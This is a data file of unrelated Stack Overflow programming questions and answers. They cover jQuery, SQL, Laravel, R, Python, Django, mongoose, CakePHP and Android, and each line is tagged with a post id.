39573916	0	 <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(function() { var xingHref = $(".contact-sm &gt; a").attr("href"); $(".contact-img &gt; a").attr("href", xingHref); });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;div class="contact-img"&gt; &lt;a href="https://test.de" class="evcms-open-contacts"&gt; &lt;img src="https://cdn-cache.envivo-connect.com/license/Tw3sZjz8v/p/xckYV8bESwsZ/80x80c/xckYV8bESwsZ.png?v=2.4.84-z3p37YEER-1467970717-yZUA33Hxn" alt="F. Alexander Kep" /&gt; &lt;/a&gt; &lt;/div&gt; &lt;div class="contact-sm"&gt; &lt;a href="https://www.xing.com/profile/FfAlexander" /&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
5991814	0	 <p>You can try this...</p> <p>1.Override <code>textFieldDidEndEditing</code> in your <code>viewController.m</code> file. See the example code below:</p> <pre><code>-(BOOL)textFieldDidEndEditing:(UITextField*) tf{ //your piece of code (goNext?) } </code></pre> <p>2.Remove</p> <pre><code>[eTextField addTarget:self action:@selector(goNext) forControlEvents:UIControlEventEventEditingDidEnd]; </code></pre> <p>from your code.</p>
39626886	0	 <p>If you can guarantee that the data of each table is unique, then don't use <code>UNION</code>, because it has to an extra work to make distinct rows out of it.</p> <p>Use <code>UNION ALL</code> instead, which is basically an append of rows. <code>UNION</code> or <code>UNION DISTINCT</code> (the same) like you showed is somewhat equivalent to:</p> <pre><code>SELECT DISTINCT * FROM ( SELECT user_id, grapes, day FROM steps.steps_2016_04_02 UNION ALL SELECT user_id, grapes, day FROM steps.steps_2016_04_03 UNION ALL SELECT user_id, grapes, day FROM steps.steps_2016_04_04 ) t; </code></pre> <p>And the <code>DISTINCT</code> can be a very slow operation.</p> <p>Another simpler option is to use <a href="https://www.postgresql.org/docs/current/static/ddl-partitioning.html" rel="nofollow">PostgreSQL's partitioning with table inheritance</a> and work on Tableau as a single table.</p>
31219669	0	Join two tables and add the data with the same column id <p>I am using Laravel 4.2<br> I have two tables "questions" and "votes"<br> In my questions table I have columns like</p> <ul> <li><code>id</code>,</li> <li><code>id_user</code>,</li> <li><code>subject</code>,</li> <li><code>body</code>.</li> </ul> <p>In my votes table I have columns like </p> <ul> <li><code>id</code>,</li> <li><code>id_question</code>,</li> <li><code>id_user</code>, </li> <li><code>likes</code>,</li> <li><code>dislikes</code>.</li> </ul> <p>The user is allowed to vote only once therefore the values for likes and dislikes for each user is 0-1, the <code>id_question</code> has the <code>id</code> of the question from the questions table. Now U want to sort the questions in the descending order according to the number of votes cast for each question.</p> <p>How do I sum the votes and sort them. This is what I have tried but it just displays me the count of the first question</p> <pre><code>$questions=Question::leftJoin('votes', 'questions.id', '=', 'votes.id_question') -&gt;groupBy('questions.id')-&gt;sum('likes'); return json_encode($questions); </code></pre> <p>after I get the counts i can sort them in the descending order by using <code>orderBy('likes','DESC')-&gt;get();</code> but how to get the sum of likes?</p>
32750657	0	 <p>I'm confused in that two arguments to your function, my_dt1 and my_dt2, do not seem to be used. All you seem to be doing is adding a column to DF2? If so, just do this:</p> <pre><code>b_func = function(my_dt, my_col) { my_dt[[my_col]] = as.Date("2015-09-21") + 0:4 my_dt } </code></pre>
30503870	0	 <p>What if you click on the <code>arrow</code> icon (near minimize/maximize), on the bar view and deselect <code>Show Tests in Hierarchy</code> ? Or play with different layout under <code>Layout</code> (same icon)</p>
2190089	0	Database Design <p>This is a general database question, not related to any particular database or programming language.</p> <p>I've done some database work before, but it's generally just been whatever works. This time I want to plan for the future.</p> <p>I have one table that stores a list of spare parts. Name, Part Number, Location etc. I also need to store which device(s) they are applicable too.</p> <p>One way to do is to create a column for each device in my spare parts table. This is how it's being done in the current database. One concern is if in the future I want to add a new device I have to create a new column, but it makes the programming easier.</p> <p>My idea is to create a separate Applicability table. It would store the Part ID and Device ID, if a part is applicable to more than one device it would have more than one row.</p> <pre><code>Parts ------- ID Name Description Etc... PartsApplicability ------- ID PartID DeviceID Devices ------ ID Name </code></pre> <p>My questions are whether this is a valid way to do it, would it provide an advantage over the original way, and is there any better ways to do it?</p> <p>Thanks for any answers.</p>
24425177	0	 <p>Maybe I'm missing something in your question, but it seems that this should do it:</p> <pre><code>SELECT CONCAT('STK', LPAD(MAX(SUBSTRING(ticket_id, 4)) + 1, 10, '0') ) FROM sma_support_tickets; </code></pre>
31127024	0	 <p>I use X-editable - In-place editing with Twitter Bootstrap, jQuery UI or pure jQuery</p> <p>This library allows you to create editable elements on your page. It can be used with any engine (bootstrap, jquery-ui, jquery only) and includes both popup and inline modes. Documentation - </p> <p><a href="http://vitalets.github.io/x-editable/docs.html#gettingstarted" rel="nofollow">http://vitalets.github.io/x-editable/docs.html#gettingstarted</a></p> <p>[I am not affiliated with x-editable project. I found that its pretty easy to implement and works great. Hope this helps! thanks]</p>
20866662	0	 <p>try this its working I've tested this code</p> <pre><code>$(document).ready(function() { alert($("input[value='Cancel']").attr("id")); }); </code></pre> <p>HTML code</p> <pre><code>&lt;input type="button" value="Cancel" class="supportButton" id="whitelist.onCancelUploadButton" /&gt; </code></pre>
7288317	0	 <p>That's an odd structure. Translating it to <code>dput</code> syntax</p> <pre><code>SOLK &lt;- structure(list(structure(c(1L, 2L, 3L, 4L, 5L, 5L, 6L, 6L, 7L, 7L), .Label = c("10:27:03,6", "10:32:58,4", "10:34:16,9", "10:35:46,0", "10:35:50,6", "10:36:10,3", "10:36:10,4"), class = "factor"), Close = c(0.99, 0.98, 0.98, 0.97, 0.96, 0.96, 0.95, 0.95, 0.95, 0.95), Volume = c(1000L, 100L, 600L, 500L, 50L, 1000L, 40L, 100L, 500L, 100L)), .Names = c("", "Close", "Volume" ), class = "data.frame", row.names = c("1", "2", "3", "4", "5", "6", "7", "8", "9", "10")) </code></pre> <p>I'm assuming the comma in the timestamp is decimal separator.</p> <pre><code>library("chron") time.idx &lt;- times(gsub(",",".",as.character(SOLK[[1]]))) </code></pre> <p>Unfortunately, it seems <code>xts</code> won't take this as a valid <code>order.by</code>; so a date (today, for lack of a better choice) must be included to make <code>xts</code> happy.</p> <pre><code>xts(SOLK[[2]], order.by=chron(Sys.Date(), time.idx)) </code></pre>
11282499	0	 <p>Try this <code>findViewById(R.id.google_account).setVisibility(View.GONE);</code> And here is the full <a href="http://developer.android.com/reference/android/view/View.html#GONE" rel="nofollow">documentation</a>.</p>
19254220	0	RestEasy GET method accepts HEAD requests <p>I have the merhod annotated with @GET. But when here comes HEAD request, it is handled with this method. And in the body of the method I get request type HEAD from HttpRequest object. Why does GET method responces for HEAD requesrs?</p>
40597128	0	 <p>You should really be storing those names on an object stored in a global and not as global variables. But you asked how to do it and so here is how:</p> <p>Using <a href="http://stackoverflow.com/questions/7027848/getting-corresponding-module-from-function">Getting corresponding module from function</a> with a <code>for</code> loop and <code>setattr</code> as modules do not support dictionary operations and it is possible to write the function as:</p> <pre><code>import sys def load_inmemory(): module = sys.modules[load_inmemory.__module__] for k, v in load237(fpath)[0].items(): setattr(module, k, v) load_inmemory() print x </code></pre> <p>I tested the following:</p> <pre><code>import sys def func(): module = sys.modules[func.__module__] for k,v in {'x':4}.items(): setattr(module, k, v) func() print x </code></pre> <p>Prints <code>4</code>. Tested in Python 2.7.3.</p>
39641865	0	Change height tableview when items not visible javafx <p>I would like show navigation arrow when items not visible in the component <code>TableView</code> at the screen. I don't know if there is an event when, visually, the <code>TableView</code> is full, and show arrow to scroll in the <code>TableView</code>.</p> <p>Thanks.</p>
37868817	1	Retrieve Django ManyToMany results outside of the current model <p>Hi I'm brand new to Django.</p> <ul> <li>I have a list of <strong>stores</strong>. Each of those stores carry <strong>brands</strong> of products.</li> <li>For a store, I can list the brands that they carry. </li> <li><strong>For a brand, I want to list the stores that carry that brand.</strong></li> </ul> <p>Here are my models (simplified):</p> <pre><code>class Store(models.Model): company = models.CharField(max_length=256) brands = models.ManyToManyField('Brand',related_name='brand') class Brand(models.Model): company = models.CharField(max_length=256) </code></pre> <p>Here is my view for the template:</p> <pre><code>def brand_detail_slug(request, slug): brand = Brand.objects.get(slug=slug) return render(request, 'storefinder/brand_detail.html', {'brand': brand}) </code></pre> <hr> <p>I can retrieve info for the brands successfully in my view:</p> <pre><code>{% for p in brand.product_types.all %} &lt;li&gt;{{ p }}&lt;/li&gt; {% endfor %} </code></pre> <p>But I don't know how to do this for stores, since it's not really defined in the Brands. It's a separate model.... this is where I get confused.</p> <p>Thanks!</p>
29493074	0	 <p>Here's the simplest solution:</p> <p>Assuming that you installed some up-to-date version of Perl and it is already in PATH, simply go to where GIT executables are is, which is normally </p> <pre><code>C:\Program Files (x86)\Git\bin </code></pre> <p>and <strong>rename <code>perl.exe</code> to <code>perl1.exe</code></strong>. If you really are so unhappy about this, rename it back after you're done with whatever is getting the problem.</p> <p>Why does this solve the problem? Because your program will not find perl in GIT's directory, and will try to find it somewhere else, and since your have the latest version of Perl in PATH, it will find it and everything will workout.</p> <p>PS: It worked with me :-)</p>
22417299	0	 <p>This was a bug with that particular version of Chrome. It was fixed in a later release.</p>
35842886	0	Nested mongoose Schema giving trouble when trying to query in controller <p>I'm working on a small project and I have a solution to this problem, but it involves creating a new Schema with a reference to the new Schema in the old Schema. I would like to avoid this if at all possible because it will mean spending a couple hours rewriting some code and messing with tests. </p> <p>The project is a forum site, and there are three main Schemas that comprise it (in addition to cursory Schemas for the forums, notifications, settings and the schemas for the user and the users activities). The Board Schema (contains a list of all forum sections if that wasn't apparent) Is a Schema that makes a reference to the Threads Schema so it can get the threads for each Board. My problem is in the Thread Schema.</p> <pre><code>var ThreadSchema = new mongoose.Schema({ ... other unrelated Schema stuff... comments: [{ created: { type: Date, default: Date.now }, creator: { type: mongoose.Schema.ObjectId, required: true, ref: 'User' }, content: { type: String, required: true, get: escapeProperty }, likes: [{ type: mongoose.Schema.ObjectId, required: false, ref: 'User' }], liked: { type: Boolean, default: false }, saved: [{ type: mongoose.Schema.ObjectId, required: false, ref: 'User' }] }] }); </code></pre> <p>blah blah blah.</p> <p>I'm trying to pull for the users profile only the comments that that user has posted. The threads were easy, but comment data is not coming through. The request to the server goes through as successful, but I don't get any data back. This is what I am trying.</p> <pre><code>obj.profileComments = function (req, res) { var userId = req.params.userId; var criteria = {'comments.creator': userId}; Thread.find(criteria) .populate('comments') .populate('comments.creator') .skip(parseInt(req.query.page) * System.config.settings.perPage) .limit(System.config.settings.perPage + 1) .exec(function (err, threads) { if (err) { return json.bad(err, res); } json.good({ records: threads }, res); }); }; </code></pre> <p>This is a controller, and the json.bad and json.good are helpers that I have created and exported they basically are res.send.</p> <pre><code>var good = function (obj, res) { res.send({ success: 1, res: obj }); }; </code></pre> <p>and the bad is very similar, it just handles errors in an obj.res.errors and puts them into messages.</p> <p>So now that that is all out of the way, I'm a little lost on what to do? Is this something I should try to handle with a method in my Schema? It seems like I might have a little bit more luck that way. Thank you for any help.</p>
38168546	0	 <p>Can you share the actual message that you're sending? This error is typical when you send a message that is missing the session token tag. This token is sent back by Siebel after the initial login, which prevents having to log in for each message - reducing the authentication overhead. </p>
11426393	0	 <p>You dont need to import the whole project with examples and target of it.Just import whatever in the "<code>classes</code>" folder in that framework..</p> <p><a href="https://github.com/stig/json-framework/tree/master/src/main/objc" rel="nofollow">https://github.com/stig/json-framework/tree/master/src/main/objc</a></p> <p>Files listed in above link is enough to import framework.</p> <p>As @sanchitsingh said, you need to import only "<code>SBJSON.h</code>".</p>
35281780	0	change the default message on upload file cakephp <p>In cakephp I want to upload a file on a form entry, e.g. a resume to upload and also form entry of people's names, addresses etc. The problem is when I upload a file I get the message after the file is uploaded 'no file selected'. The function works but this message is confusing for the user as I want the name of the file displayed instead of 'no file selected'.</p> <p>EDIT Next to the button Browse, the label appears 'No file Selected'. How do I suppress/alter this message?</p> <p>UPDATE: Found a workaround answer which might not be the best solution. </p> <h2>View</h2> <pre><code>echo $this-&gt;Form-&gt;input('reason', array('label' =&gt; 'Reason for Cancellation', 'style'=&gt; "width:30%",'value'=&gt;$reason)); echo __('Upload Attachment'); echo $this-&gt;Form-&gt;input('resume_file', array('type' =&gt; 'file')); echo $this-&gt;Form-&gt;submit('Upload', array('name'=&gt;'upload')); echo $this-&gt;Form-&gt;end(); </code></pre> <h2>Controller</h2> <pre><code>public function uploadfile() { $reason=null; if ($this-&gt;request-&gt;is('post')) { if (isset($this-&gt;request-&gt;data['upload'])) { $reason=$this-&gt;request-&gt;data['Resume']['reason']; if ($this-&gt;attachmentupload() &amp;&amp; $this-&gt;Resume-&gt;save($this-&gt;request-&gt;data)) { $this-&gt;Session-&gt;setFlash(__('The attachment has been saved'), 'flash_success'); } else { $this-&gt;Session-&gt;setFlash(__('The attachment could not be saved. Please, try again.'),'flash_alert'); } } } } public function attachmentupload() { $file = $this-&gt;request-&gt;data['Resume']['resume_file']; $resume_org_filename = $file['name']; $resume_filename = $file['name']; if ($file['error'] === UPLOAD_ERR_OK) { // Code to check if file with the same name exists. If it exists - add n towards the end $t = 0; $url = APP.'Resumes'.DS.$resume_filename; while(file_exists($url)) { $resume_filename = substr($resume_filename,0, strpos($resume_filename, '.'))."_$t".strstr($resume_filename, '.'); $url = APP.'Resumes'.DS.$resume_filename; $t++; } // Set the parameters if (move_uploaded_file($file['tmp_name'], $url)) { $this-&gt;request-&gt;data['Resume']['tutor_id'] = -1; $this-&gt;request-&gt;data['Resume']['student_id'] = -1; $this-&gt;request-&gt;data['Resume']['url'] = $url ; $this-&gt;request-&gt;data['Resume']['resume_filename'] = $resume_filename; $this-&gt;request-&gt;data['Resume']['resume_org_filename'] = $resume_org_filename; return true; } } return false; } </code></pre>
31017560	0	 <p>You can use a <a href="https://msdn.microsoft.com/en-us/library/ms175972.aspx" rel="nofollow">cte</a> for that:</p> <pre><code>;With cte as ( SELECT [id], Row_number() OVER(Order by [id] As rn FROM MyTable ) UPDATE MyTable SET recNum = rn FROM MyTable t INNER JOIN cte ON(t.[id] = cte.[id]) </code></pre> <p>However, you since already have an id column that seems to have the values you are asking for, you can simply do this:</p> <pre><code>UPDATE MyTable SET recNum = [id] </code></pre>
22488176	0	 <p>I think, in this situation it is better to abstract of the commands, therefore I advise the third paragraph:</p> <blockquote> <p>I could call <code>Save()</code> inside the <code>Open()</code> function of my VM too.</p> </blockquote> <hr> <blockquote> <p><code>Open()</code> function should really only open a document and not do other validation/checks.</p> </blockquote> <p>I agree, but for example, before opening the door you should first make sure that it is closed. Does become to do a separate function? I think it will be easier and more correct:</p> <pre><code>private void Open() { if (IsSomeChanges == true) { Save(); } ... } </code></pre> <p><code>Command</code> is a <a href="http://en.wikipedia.org/wiki/Command_pattern" rel="nofollow"><code>pattern</code></a> that allows you to call on the side <code>View</code> your method with minimal dependence and from different controls. If for example, you had to call the Command on the side of View, for example in the <em>attached</em> behavior, then you would need to use <code>SomeCommand.Execute()</code>. But inside in the <code>ViewModel</code> you can simply directly call this methods.</p>
27464134	0	 <p>Sounds like the UIView itself is not being released. (Might as well fill out the answer now that we figured it out in the comments.)</p>
33696553	0	 <p>I had a similar problem. The reason was that on one account the environment variable 'http_proxy' was set. Since wget had no info about how to get through the proxy the access failed. </p>
721517	0	 <p>You could set up a local server and save such files in a domain you can now add to the trusted sites, but opening the file in any other browser than IE is easier.</p>
1319998	0	 <p>I would think that the proper answer to this, given that you don't want the hardware load measure (CPU, memory, IO utilization), is that heavy load is the amount of requests per time unit at or over the required maximum amount of requests per time unit. </p> <p>The required maximum amount of requests is what has been defined with the customer or with whomever is in charge of the overall architecture.</p> <p>Say X is that required maximum load for the application. I think something like this would approximate the answer:</p> <pre> 0 &lt; Light Load &lt; X/2 &lt; Regular Load &lt; 2X/3 &lt; High Load &lt; X &lt;= Heavy Load </pre> <p>The thing with a single number out of thin air is that it has no relation whatsoever with your application. And what heavy load is is totally, absolutely, ineludibly tied to what the application is supposed to do.</p> <p>Although 200 requests per second is a load that would keep small webservers busy (~12000 a minute).</p>
26097348	0	Sorting a Table with jQuery <p>I have found and followed an example on here for sorting a table but it does not work. Here is my code:</p> <pre><code> function comparer(index) { return function (a, b) { var valA = getCellValue(a, index), valB = getCellValue(b, index); return $.isNumeric(valA) &amp;&amp; $.isNumeric(valB) ? valA - valB : valA.localeCompare(valB); } } function getCellValue(row, index) { return $(row).children('td').eq(index).html(); } function sortTable(header) { var table = $(this).parents('table').eq(0); var rows = table.find('tr:gt(0)').toArray().sort(comparer($(this).index())); this.asc = !this.asc; if (!this.asc) { rows = rows.reverse(); } for (var i = 0; i &lt; rows.length; i++) { table.append(rows[i]); } } function createTableHeader(table, headers, alignment) { if (headers.length &gt; 0) { var thead = document.createElement('thead'); table.appendChild(thead); var tr = document.createElement('tr'); for (var i = 0; i &lt;= headers.length - 1; i++) { var th = document.createElement('th'); var text = document.createTextNode(headers[i]); th.appendChild(text); th.style.textAlign = alignment; th.setAttribute('onclick', sortTable) tr.appendChild(th); } thead.appendChild(tr); } } </code></pre> <p>Nothing happens at all, and yet, when I look at the details I can see the function attached to the TH element. ANy ideas?</p> <p>Does the fact that I am creating this table on the fly with data received from an AJAX call have anything to do with the problem?</p>
17173066	0	 <p>The reason for this </p> <p><code>this.without.apply(this, this.done())</code></p> <p>is that "_.without" does not accept as argument the array of items to be excluded as a single array ([]) argument</p> <p>See here <a href="https://github.com/documentcloud/underscore/issues/104" rel="nofollow">_.without to accept array as second argument</a></p> <p><em>apply</em>, which is part of the JS Function.prototype, here is a workaround to inject the excluding items in a single array argument</p>
30705394	0	 <p>You can do this way:</p> <pre><code>var filters = {}; //when a link in the filters div is clicked... $('#content ul li').not(':first').hide(); $('#filters a').click(function(e){ e.preventDefault(); filters[$(this).parent().attr('class')] = $(this).attr('id'); var show = $('#content ul li').filter(function(){ for(k in filters) if( filters.hasOwnProperty(k) &amp;&amp; !$(this).hasClass(filters[k]) ) return false; return true; }); $('#content ul li').not(show).hide(); show.fadeIn(); $('pre:first').html(JSON.stringify(filters)); }); }); </code></pre>
38750836	0	Glusterfs failover, high availability and scalability <p>How glusterfs can gracefully handle the failover scenario? In terms of storage how scalable is glusterfs filesystem ? and Is the performance affected when more bricks/instances are added?</p> <p>Can anyone please provide me answers on the above mentioned questions.</p>
421113	0	 <p>I suppose it would let them support multiple ranges. For example, they can return all dates between 1/1/2008 and 1/1/2009 AND 1/1/2006 and 1/1/2007 to compare 2006 data to 2008 data. You couldn't do that with a single pair of bound parameters. Also, I don't know how Oracle does it's query plan caching for views, but perhaps it has something to do with that? With the date columns being checked as part of the view the server could cache a plan that always assumes the dates will be checked.</p> <p>Just throwing out some guesses here :)</p> <p>Also, you wrote:</p> <blockquote> <p>I should mention that they use transactions and per-client locks, so it is guarded against most concurrency problems.</p> </blockquote> <p>While that may guard against data consistency problems due to concurrency, it hurts when it comes to performance problems due to concurrency.</p>
5481452	0	 <p>You are already inside a code block; Razor does not parse within code blocks for other code blocks. The style part of the line should look something like this:</p> <pre><code>style = "width: 20px; background-color: " + Model.BackgroundColor + ";" </code></pre>
5831887	0	 <p>There are no APIs for "decoding" video in the Android SDK, other than to play it back (e.g., <code>MediaPlayer</code>). You are welcome to try to find some third-party library that offers you whatever functionality it is that you seek.</p>
37810714	0	Create checkbox list from related divs <p>I need to create number of checkbox based on the number of array values returned from jQuery. Here is my code:</p> <pre><code>&lt;div class="bob" data-xyz="fish"&gt;&lt;/div&gt; &lt;div class="bob" data-xyz="dog"&gt;&lt;/div&gt; &lt;div class="bob" data-xyz="fish"&gt;&lt;/div&gt; &lt;div class="bob" data-xyz="cat"&gt;&lt;/div&gt; &lt;div class="bob" data-xyz="fish"&gt;&lt;/div&gt; </code></pre> <p>Ineed to display the result value in HTML like this:</p> <pre><code>&lt;label&gt; &lt;input class="fish" type="checkbox" /&gt; fish &lt;/label&gt; &lt;label&gt; &lt;input class="cat" type="checkbox" /&gt; cat &lt;/label&gt; &lt;label&gt; &lt;input class="dog" type="checkbox" /&gt; dog &lt;/label&gt; </code></pre> <p>This is what I tried:</p> <pre><code>var items = {}; $('div.bob').each(function() { items[$(this).attr('data-xyz')] = true; }); var result = new Array(); for(var i in items) { result.push(i); } alert(result); </code></pre>
239101	0	 <blockquote> <p>but learning a language that helps my resume is still a benefit.</p> </blockquote> <p>You should try using VB6 or COBOL, then, as there is a <strong>lot</strong> of billing work out there for it.</p>
10260931	0	Why Ajax renders 2 views in rails 3.1 app <p>When entering log in our rails 3.1 app, ajax is used to render the input screen below. Here is the link for log:</p> <pre><code>&lt;%= link_to 'Log', new_part_out_log_path(@part, :format =&gt; :js), :remote =&gt; true, :id =&gt; 'new_log_link' %&gt; </code></pre> <p>And the new.js.erb as this:</p> <pre><code>$("&lt;%= escape_javascript render(:file =&gt; 'out_logs/new.html.erb') %&gt;").insertAfter('#new_log_link'); $('#new_log_link').hide(); $('#close').hide(); </code></pre> <p>the problem is that after clicking 'Log', instead of one view, 2 identical views of out_logs/new.html.erb were rendered. What may be wrong with our code? thank so much. </p>
21185558	0	 <p>In continuation to Raghunandan's answer, you could check similar implementation in the link.</p> <p><a href="http://stackoverflow.com/questions/19149872/update-textview-in-fragment-a-when-clicking-button-in-fragment-b/19149882#19149882">update TextView in fragment A when clicking button in fragment B</a></p> <p>Do not forget to get a reference of the textview of the TextSectionFragment into the MainActivity.</p>
22373315	0	 <p>You need local coordinates. Change</p> <pre><code>CGContextAddRect(context, self.frame); </code></pre> <p>to</p> <pre><code>CGContextAddRect(context, self.bounds); </code></pre>
21026518	0	android custom view attributes not working after switch to gradle <p>so I recently migrated to gradle now my custom view attributes return null</p> <p>my project looks like this</p> <p>--custom_icon_view // library that holds the custom view with custom attributes --my application // this is the main app that actually uses the custom view</p> <p>in my layout I have the namespace defined like this :</p> <pre><code> xmlns:iconview="http://schemas.android.com/lib/be.webelite.iconview" </code></pre> <p>because using apk/res-auto retuns an error saying attibutes could not be identified</p> <p>this is how I try to get the icon name defined in xml, this used to work perfectlly but now it doesnt. and all I changed was migrating to gradle.</p> <pre><code> final TypedArray a = context.obtainStyledAttributes(attrs,be.webelite.iconview.R.styleable.icon); icon_name = a.getString(be.webelite.iconview.R.styleable.icon_name); </code></pre> <p>so I'm guessing my gradle.build files are causing a problem?</p> <p>I have the library set to </p> <pre><code> apply plugin: 'android-library' </code></pre> <p>end the main app gradle.build as </p> <pre><code> apply plugin: 'android' </code></pre> <p>this has been giving me headache for 2 days now :( any help/hints are very apperciated.</p> <p>here are my gradle files</p> <p><a href="http://pastie.org/private/h57o8nanydosq0dtm6eiq">http://pastie.org/private/h57o8nanydosq0dtm6eiq</a></p> <p>and here is the folder structure</p> <p><a href="http://pastie.org/private/nvbzomx2zeagdpzt8qqjsq">http://pastie.org/private/nvbzomx2zeagdpzt8qqjsq</a></p> <p>this is how I declare my view in the xml</p> <pre><code>&lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" &lt;!-- tried res-auto didn't work --&gt; xmlns:iconview="http://schemas.android.com/apk/lib/be.webelite.iconview" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent" android:background="@color/background_gray"&gt; &lt;be.webelite.iconview.IconView android:layout_width="wrap_content" android:layout_height="wrap_content" iconview:icon_name="entypo_search" android:textSize="25dp"/&gt; </code></pre> <p>attrs.xml in IconView>res>values directory</p> <pre><code> &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;resources&gt; &lt;declare-styleable name="icon"&gt; &lt;attr name="name" format="string" /&gt; &lt;/declare-styleable&gt; &lt;/resources&gt; </code></pre>
22124711	0	Android Personal Dictionary App Issues <p>I am trying to write a personal dictionary application on android platform.<br> There are standard features like add,edit,delete.<br> I will be creating a personal application database to keep track of words.<br> Once the word is added in the personal dictionary; it should appear in the auto suggest when user is typing it in messaging/mail apps.<br>I looked at the following code snippet and tried to incorporate in my app:<br></p> <pre><code>UserDictionary.Words.addWord(this, "Joglekar", 1, "Jogl", getResources().getConfiguration().locale); </code></pre> <p>The code executes fine but the word does not appear in the auto suggest while typing.<br>I am testing on HTC One X as of now.<br> Any leads on how to accomplish this ?? <br> Have a few follow up questions but will wait for this one to resolve. :) </p>
12045003	0	 <p>You could always add in your -(void)viewDidAppear method to reload content. If that's not the route you want to take then use an NSNotificationCenter and addObserver in view controller A and postNotification in view controller E.</p>
35569859	0	Maintaining FAQ data <p>Need to list down FAQ in a web page, most frequently asked question on top. Once user select or search a question, its frequency count should be increased. </p> <p>Questions,answers along with frequency count can be stored in data table or can be stored in xml/json format at server. </p> <p>What is the best way of maintaining such data? is there any standard way of doing FAQ?</p>
38138883	0	 <p>Try this:</p> <pre><code> Picasso .with(context) .load(message.getMediaUrl()) .fit() // call .centerInside() or .centerCrop() to avoid a stretched image .into(messageImage); </code></pre>
30333390	0	 <p>IMO it seems like the ::create array is confusing the basics. Also, I'm not clear what you are doing with $result and $marks - I am assuming they are columns on your Qualification table.</p> <p>I recommend doing something like this: </p> <pre><code>$r = $input::get('result'); if($r){ $q = new Qualification; $q-&gt;level_of_education = Input::get('level_education'); // do the same thing with the rest of your fields if($r == 1) { $q-&gt;result = 'First'; $q-&gt;marks = Input::get('marks'); } // rest of your elseif statements would follow $q-&gt;save(); } </code></pre> <p>This site has a great CRUD tutorial (this is addressed about 1/2 way through): <a href="https://scotch.io/tutorials/simple-laravel-crud-with-resource-controllers" rel="nofollow">https://scotch.io/tutorials/simple-laravel-crud-with-resource-controllers</a></p> <p>Good luck</p>
34338640	0	 <p>One of the things you might do is to chain promises in your original array of promises, and use map to get promises for each element in array, ie consider this snipet</p> <pre><code>function getHotels(city) { return ajaxPromise ... } function getRooms(hotel) { ... } function getFurniture(room) { ... } function showUI(furniture) { ... } getHotels(city).then(function(hotels) { return $q.all(hotels.map( h =&gt; getRooms(h))) }).then(function(hotelRooms) { return $q.all(hotelRooms.map (hr =&gt; getFurniture(hr))) }).then(showUI) </code></pre>
25518848	0	Object html tag data attribute not working with angularjs binding in IE11 <p>I got any application where I need to display file from urls I got in database. Now this file can be an image and it can be a pdf. So I need to set some binding dynamically. I looked on internet and object tag looked promising but it is not working in IE11. It is working fine in Chrome and Firefox. SO that is why I am asking here for help. </p> <p>I have created a directive just to make sure If we have to do any dom manipulation. Here goes my directive code.</p> <pre><code>mainApp.directive("displayFile", function () { return { restrict: 'AE', // only activate on element attribute scope: { displayFile: "=", fileType:"=" }, link: function (scope, elem, attrs) { scope.filePath = ""; var element = angular.element(elem); // observe the other value and re-validate on change scope.$watch('displayFile', function (val) { if (val !== "") { scope.filePath = val; scope.type="application/"+ fileType; //element.attr("data", scope.filePath) } }); }, template: '&lt;object data="{{filePath}}" type="{{type}}"&gt;' } }); </code></pre> <p>My html for directive</p> <pre><code>&lt;div data-display-pdf="fileUrl" file-type="type"&gt;&lt;/div&gt; </code></pre> <p>Attaching an image also for IE and Chrome/FF output<img src="https://i.stack.imgur.com/dDYMC.png" alt="enter image description here"></p> <p>Above image is a comparison between IE and FF</p>
39164633	0	.sqlite file can i generate from java code <p>From SQLitestudio.exe i can easily generate .sqlite file .</p> <p>But from java code is it possible ,only.db file is generated </p> <p>What is difference between these files</p>
31282552	0	 <p>you dont need to use a list</p> <p>and also it is considered an antipattern to do something like</p> <pre><code>def check(): if condition: return True else: return False </code></pre> <p>since you can just do</p> <pre><code>def check(): return condition </code></pre> <p>all that said ... I think you might be looking for</p> <pre><code>is_sep = lambda char:char in r"(\){}[]" </code></pre> <p>might be what you are looking for ... I guess</p> <pre><code>def is_sep(char): return char in r"(\){}[]" </code></pre> <p>if your set of characters is large you may be better off using a <code>set</code> ... if you are searching a lot of text you may be better served with something like</p> <pre><code>parts = re.split(r"[(\){}[]]",my_complete_text) </code></pre>
13344237	0	Searching for an image that already exist in plist file (xcode) <p>I am a new iphone developer, I am currently working on a project. *<em>Firstly I have a plist file that contain images.These images have their own id. For ex. image1's id is '100', image2's id is '101'. I also have a search bar in my app. When I entered a number(id) to the search bar, I want to get image from plist file,and show it in UIImageView.For ex. I entered '100' to my search bar. The image that its id is '100' will shown in UIImageView. *</em> Actually I have no idea about how to do this with xcode.</p>
3506762	0	 <p>Look at how Spring does it, they have already figured out all this stuff and there is no need to re-invent it. Check out the petclinic sample code that is bundled with the full distribution of Spring, or (for a non-Spring approach) read the DAO chapter of the Bauer/King Hibernate book. </p> <p>Definitely the DAO shouldn't be in charge of getting the database connection, because you will want to group multiple DAO calls in the same transaction. The way Spring does it is there's a service layer that gets its transactional methods wrapped in an interceptor that pulls the connection from the datasource and puts it in a threadlocal variable where the DAOs can find it.</p> <p>Eating your SQLException and returning null is bad. As duffymo points out, letting the PreparedStatement get passed around with no assurance that it will ever get closed is very bad. Also, nobody should use raw JDBC anymore, Ibatis or spring-jdbc are better alternatives.</p>
